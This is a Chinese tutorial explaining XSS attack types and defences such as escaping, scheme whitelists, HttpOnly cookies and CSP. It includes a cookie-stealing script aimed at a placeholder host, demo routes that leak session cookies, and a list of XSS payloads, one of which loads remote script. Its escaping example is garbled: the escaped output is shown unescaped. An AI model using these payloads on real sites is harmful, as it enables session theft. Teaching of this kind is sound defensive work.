溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
本篇文章為大家展示了利用java怎么防護Xss攻擊，內容簡明扼要并且容易理解，絕對能使你眼前一亮，通過這篇文章的詳細介紹希望你能有所收獲。
Xss 即（Cross Site Scripting）中文名稱為：跨站腳本攻擊。XSS的重點不在于跨站點，而在于腳本的執行。
1.1 原理
惡意代碼未經過濾，與網站正常的代碼混在一起；瀏覽器無法分辨哪些腳本是可信的，導致惡意腳本被執行。而由于直接在用戶的終端執行，惡意代碼能夠直接獲取用戶的信息，或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。
1.2 分類
Xss攻擊最主要有如下分類：反射型Xss(非持久型)、存儲型Xss(持久型)和DOM Xss。
1.2.1 反射型Xss(了解)
原理
反射性xss一般指攻擊者通過特定的方式來誘惑受害者去訪問一個包含惡意代碼的URL。當受害者點擊惡意鏈接url的時候，惡意代碼會直接在受害者的主機上的瀏覽器執行。
步驟
攻擊者在url后面的參數中加入惡意攻擊代碼。
當用戶打開帶有惡意代碼的URL的時候，網站服務端將惡意代碼從URL中取出，拼接在html中并且返回給瀏覽器端。
用戶瀏覽器接收到響應后執行解析，其中的惡意代碼也會被執行到。
攻擊者通過惡意代碼來竊取到用戶數據并發送到攻擊者的網站。攻擊者會獲取到比如cookie等信息，然后使用該信息來冒充合法用戶的行為，調用目標網站接口執行攻擊等操作。
演示
<title>csrf攻擊</title> <a href="http://localhost:3001/xss" rel="external nofollow" >xxs 攻擊</a> <a href="http://localhost:3001/testcookie" rel="external nofollow" >testcookie 攻擊</a>
//第一個鏈接 可以彈出指定的彈窗
router.get('/xss', (ctx, next) => {
ctx.body = '<script>alert("反射型 XSS 攻擊")</script>';
});
//獲取當前的所有cookie
router.get('/testcookie', (ctx, next) => {
console.log(ctx.cookies.get('connect.sid'));
ctx.body = '<script>alert("'+ctx.cookies.get('connect.sid')+'")</script>';
next();
});1.2.2 存儲型Xss(了解)
原理
主要是將惡意代碼上傳或存儲到服務器中，下次只要受害者瀏覽包含此惡意代碼的頁面就會執行惡意代碼。
場景
比如我現在做了一個博客網站，然后攻擊者在上面發布了一篇文章，內容是如下：<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我沒有對該文章進行任何處理的話，直接存入到數據庫中，那么下一次當其他用戶訪問該文章的時候，服務器會從數據庫中讀取后然后響應給客戶端，那么瀏覽器就會執行這段腳本，然后攻擊者就會獲取到用戶的cookie，然后會把cookie發送到攻擊者的服務器上了。
步驟
攻擊者將惡意代碼提交到目標網站數據庫中。
用戶打開目標網站時，網站服務器將惡意代碼從數據庫中取出，然后拼接到html中返回給瀏覽器中。
用戶瀏覽器接收到響應后解析執行，那么其中的惡意代碼也會被執行。
那么惡意代碼執行后，就能獲取到用戶數據，比如上面的cookie等信息，那么把該cookie發送到攻擊者網站中，那么攻擊者拿到該
cookie然后會冒充該用戶的行為，調用目標網站接口等違法操作。
1.2.3 DOM-based型Xss(了解)
原理
我們客戶端的js可以對頁面dom節點進行動態的操作，比如插入、修改頁面的內容。比如說客戶端從URL中提取數據并且在本地執行、如果用戶在客戶端輸入的數據包含了惡意的js腳本的話，但是這些腳本又沒有做任何過濾處理的話，那么我們的應用程序就有可能受到DOM-based Xss的攻擊。
步驟
攻擊者構造出特殊的URL、在其中可能包含惡意代碼。
用戶打開帶有惡意代碼的URL。
用戶瀏覽器收到響應后解析執行。前端使用js取出url中的惡意代碼并執行。
執行時，惡意代碼竊取用戶數據并發送到攻擊者的網站中，那么攻擊者網站拿到這些數據去冒充用戶的行為操作。調用目標網站接口
執行攻擊者一些操作。
攻擊代碼
使用document.write直接輸出導致瀏覽器解析惡意代碼
使用innerHTML直接輸出導致瀏覽器解析惡意代碼
使用location/location.href/location.replace/iframe.src 造成的XSS
<script type="text/javascript">
var s = location.search; // 返回URL中的查詢部分（？之后的內容）
// 為了方便演示，我們假如url是 如下這樣的
// http://127.0.0.1/xsstest.html?url=javascript:alert('xsstest');
// 然后我們的是 s 的值就為如下：
s = "?url=javascript:alert('xsstest')";
s = s.substring(1, s.length); // 返回整個查詢內容
var url = ""; // 定義變量url
if (s.indexOf("url=") > -1) { // 判斷URL是否為空
var pos = s.indexOf("url=") + 4; // 過濾掉"url="字符
url = s.substring(pos, s.length); // 得到地址欄里的url參數
} else {
url = "url參數為空";
}
document.write('url: <a href="' + url + '" rel="external nofollow" >"' + url + '"</a>');
</script>2.1 劫持訪問
劫持訪問就是在惡意腳本中插入諸如的代碼，那么頁面就會跳轉到百度首頁.像http://qq.com這樣的域名下出現...，那么在發送釣魚鏈接時就可以通過http://qq.com等域名進行跳轉，一般人一看到http://qq.com之類的域名警惕性會下降，也就更容易上當了。
2.2 盜用cookie實現無密碼登錄
由于盜取的cookie需要傳回給攻擊者，因此往往需要一個服務器來接收盜取的cookie。
2.3 配合csrf攻擊完成惡意請求
Csrf攻擊就是在未經你許可的情況下用你的名義發送惡意請求（比如修改密碼，銀行轉賬等）
2.4 其他危害
DOS（拒絕服務）客戶端瀏覽器。
掛馬
劫持用戶Web行為，甚至進一步滲透內網。
刪除目標文章、惡意篡改數據、嫁禍。
蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上數據
蠕蟲式的DDoS攻擊。
3.1 兩大要素
XSS 攻擊有兩大要素：
攻擊者提交惡意代碼(輸入過濾)。
瀏覽器執行惡意代碼。
xss攻擊要能達成往往需要較長的字符串，因此對于一些可以預期的輸入可以通過限制長度強制截斷來進行防御。
3.2 預防方案
3.2.1 輸入過濾
對輸入的內容諸如<script>、<img>等標簽進行過濾
其次是編碼。像一些常見的符號，如<>在輸入的時候要對其進行轉換編碼，這樣做瀏覽器是不會對該標簽進行解釋執行的，同時也不影響顯示效果。
3.2.2 預防存儲型和反射型 Xss 攻擊
預防這兩種漏洞，有兩種常見做法：
改成純前端渲染，把代碼和數據分隔開。
對 HTML 做充分轉義。
3.2.2.1 純前端渲染
純前端渲染的過程：
瀏覽器先加載一個靜態 HTML，此 HTML 中不包含任何跟業務相關的數據。
然后瀏覽器執行 HTML 中的 JavaScript。
JavaScript 通過 Ajax 加載業務數據，調用 DOM API 更新到頁面上。
3.2.2.2 轉義 HTML
如果拼接 HTML 是必要的，就需要采用合適的轉義庫，對 HTML 模板各處插入點進行充分的轉義。
對于 HTML 轉義通常只有一個規則，就是把 & < > " ' / 這幾個字符轉義掉，確實能起到一定的 XSS 防護作用，但并不完善：
所以要完善 Xss 防護措施，我們要使用更完善更細致的轉義策略。
例如 Java 工程里，常用的轉義庫為 org.owasp.encoder
3.2.3 輸入內容長度控制
對于不受信任的輸入，都應該限定一個合理的長度。雖然無法完全防止 Xss 發生，但可以增加 Xss 攻擊的難度。
對于明確的輸入類型，例如數字、URL、電話號碼、郵件地址等等內容，進行輸入過濾還是必要的。
3.2.4 Cookie的安全設置
HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie，攻擊者完成 XSS 注入后也無法竊取此 Cookie。
http-only: 只允許http或https請求讀取cookie、JS代碼是無法讀取cookie的(document.cookie會顯示http-only的cookie項被自動過濾掉)。發送請求時自動發送cookie.
secure-only: 只允許https請求讀取，發送請求時自動發送cookie。
host-only: 只允許主機域名與domain設置完成一致的網站才能訪問該cookie。
3.2.5 安全驗證
驗證碼：防止腳本冒充用戶提交危險操作。
3.2.6 開啟CSP網頁安全政策
Content-Security-Policy 中文的意思是 網頁安全政策，
CSP是網頁安全政策(Content Security Policy)的縮寫。主要用來防止Xss攻擊。是一種由開發者定義的安全性政策申明，通過CSP所約束的責任指定可信的內容來源，通過 Content-Security-Policy 網頁的開發者可以控制整個頁面中 外部資源 的加載和執行。
比如可以控制哪些 域名下的靜態資源可以被頁面加載，哪些不能被加載。這樣就可以很大程度的防范了 來自 跨站(域名不同) 的腳本攻擊
我們只需要在meta屬性中設置下即可：如下代碼：
<meta http-equiv="Content-Security-Policy" content=" default-src http: https: *.xxx.com 'self' 'unsafe-inline' ; style-src 'self' 'unsafe-inline' *.yyy.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' ; ">
default-src 給下面所有的規則設定一個默認值
script-src 外部腳本
style-src 樣式表
img-src 圖像
media-src 媒體文件（音頻和視頻）
font-src 字體文件
object-src 插件（比如 Flash）
child-src 框架
3.2.7 避免內聯事件
避免內聯事件 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內聯事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
整體的 XSS 防范是非常復雜和繁瑣的，我們不僅需要在全部需要轉義的位置，對數據進行對應的轉義。而且要防止多余和錯誤的轉義，避免正常的用戶輸入出現亂碼。
雖然很難通過技術手段完全避免 XSS，但我們可以總結以下原則減少漏洞的產生：
利用模板引擎 開啟模板引擎自帶的 HTML 轉義功能。例如： 在 ejs 中，盡量使用 <%= data %> 而不是 <%- data %>； 在 doT.js 中，盡量使用 {{! data } 而不是 {{= data }； 在 FreeMarker 中，確保引擎版本高于 2.3.24，并且選擇正確的 freemarker.core.OutputFormat。
避免內聯事件 盡量不要使用 onLoad="onload('{{data}}')"、onClick="go('{{action}}')" 這種拼接內聯事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
避免拼接 HTML 前端采用拼接 HTML 的方法比較危險，如果框架允許，使用 createElement、setAttribute 之類的方法實現。或者采用比較成熟的渲染框架，如 Vue/React 等。
時刻保持警惕 在插入位置為 DOM 屬性、鏈接等位置時，要打起精神，嚴加防范。
增加攻擊難度，降低攻擊后果 通過 CSP、輸入長度配置、接口安全措施等方法，增加攻擊的難度，降低攻擊的后果。
主動檢測和發現 可使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。
某天，公司需要一個搜索頁面，根據 URL 參數決定關鍵詞的內容
1. 原始版本
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的關鍵詞是：<%= getParameter("keyword") %>
</div>當執行 http://xxx/search?keyword="><script>alert('XSS');</script>，服務端會解析出請求參數 keyword，得到 "><script>alert('XSS');</script>，拼接到 HTML 中返回給瀏覽器,頁面就出現如下內容，alert 會彈出兩次。
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
您搜索的關鍵詞是："><script>alert('XSS');</script>
</div>2. Xss的轉義攻擊
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
您搜索的關鍵詞是：<%= escapeHTML(getParameter("keyword")) %>
</div>escapeHTML() 按照如下規則進行轉義：|字符|轉義后的字符| |-|-| |&|&| |<|<| |>|>| |"|"| |'|'| |/|/|
經過了轉義函數的處理后，最終瀏覽器接收到的響應為：
<input type="text" value=""><script>alert('XSS');</script>"> <button>搜索</button> <div> 您搜索的關鍵詞是："><script>alert('XSS');</script> </div>
小結論
通常頁面中包含的用戶輸入內容都在固定的容器或者屬性內，以文本的形式展示。
攻擊者利用這些頁面的用戶輸入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代碼片段。
攻擊者通過在目標網站上注入腳本，使之在用戶的瀏覽器上運行，從而引發潛在風險。
通過 HTML 轉義，可以防止 XSS 攻擊。。
3. Xss過濾攻擊
當請求為： http://xxx/?redirect_to=javascript:alert('XSS') 時
<a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to")) %>">跳轉...</a>當攻擊 URL 為 http://xxx/?redirect_to=javascript:alert('XSS')，服務端響應就成了：
<a href="javascript:alert('XSS')" rel="external nofollow" >跳轉...</a>
雖然代碼不會立即執行，但一旦用戶點擊 a 標簽時，瀏覽器會就會彈出“XSS”。
解決方案 過濾
// 禁止 URL 以 "javascript:" 開頭
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
<a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>">
跳轉...
</a>
} else {
<a href="/404" rel="external nofollow" rel="external nofollow" >
跳轉...
</a>
}4. Xss的大小寫攻擊
當請求為：http://xxx/?redirect_to=%20javascript:alert('XSS') 時
%20javascript:alert('XSS') 經過 URL 解析后變成 javascript:alert('XSS')，這個字符串以空格開頭。這樣攻擊者可以繞過后端的關鍵詞規則，又成功的完成了注入。
解決方案 白名單
// 根據項目情況進行過濾，禁止掉 "javascript:" 鏈接、非法 scheme 等
allowSchemes = ["http", "https"];
valid = isValid(getParameter("redirect_to"), allowSchemes);
if (valid) {
<a href="<%= escapeHTML(getParameter(" rel="external nofollow" rel="external nofollow" rel="external nofollow" redirect_to"))%>">
跳轉...
</a>
} else {
<a href="/404" rel="external nofollow" rel="external nofollow" >
跳轉...
</a>
}大結論
在 HTML 中內嵌的文本中，惡意內容以 script 標簽形成注入。
在內聯的 JavaScript 中，拼接的數據突破了原本的限制（字符串，變量，方法名等）。
在標簽屬性中，惡意內容包含引號，從而突破屬性值的限制，注入其他屬性或者標簽。
在標簽的 href、src 等屬性中，包含 javascript: 等可執行代碼。
在 onload、onerror、onclick 等事件中，注入不受控制代碼。
在 style 屬性和標簽中，包含類似 background-image:url("javascript:..."); 的代碼（新版本瀏覽器已經可以防范）。
在 style 屬性和標簽中，包含類似 expression(...) 的 CSS 表達式代碼（新版本瀏覽器已經可以防范）。
總之，如果開發者沒有將用戶輸入的文本進行合適的過濾，就貿然插入到 HTML 中，這很容易造成注入漏洞。攻擊者可以利用漏洞，構造出惡意的代碼指令，進而利用惡意代碼危害數據安全。
JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
IMG標簽XSS
<IMG SRC=http://3w.org/XSS/xss.js/>
IMG標簽無分號無引號
<IMG SRC=javascript:alert('XSS')>HTML編碼(必須有分號)
<IMG SRC=javascript:alert("XSS")>換碼過濾的JavaScript
\";alert('XSS');//結束Title標簽
</TITLE><SCRIPT>alert("XSS");</SCRIPT>Iframe
<IFRAME class="lazy" data-src="javascript:alert('XSS');"></IFRAME>DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">節省[http:]
<A href="//www.google.com/" rel="external nofollow" >XSS</A>
上述內容就是利用java怎么防護Xss攻擊，你們學到知識或技能了嗎？如果還想學到更多技能或者豐富自己的知識儲備，歡迎關注億速云行業資訊頻道。
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
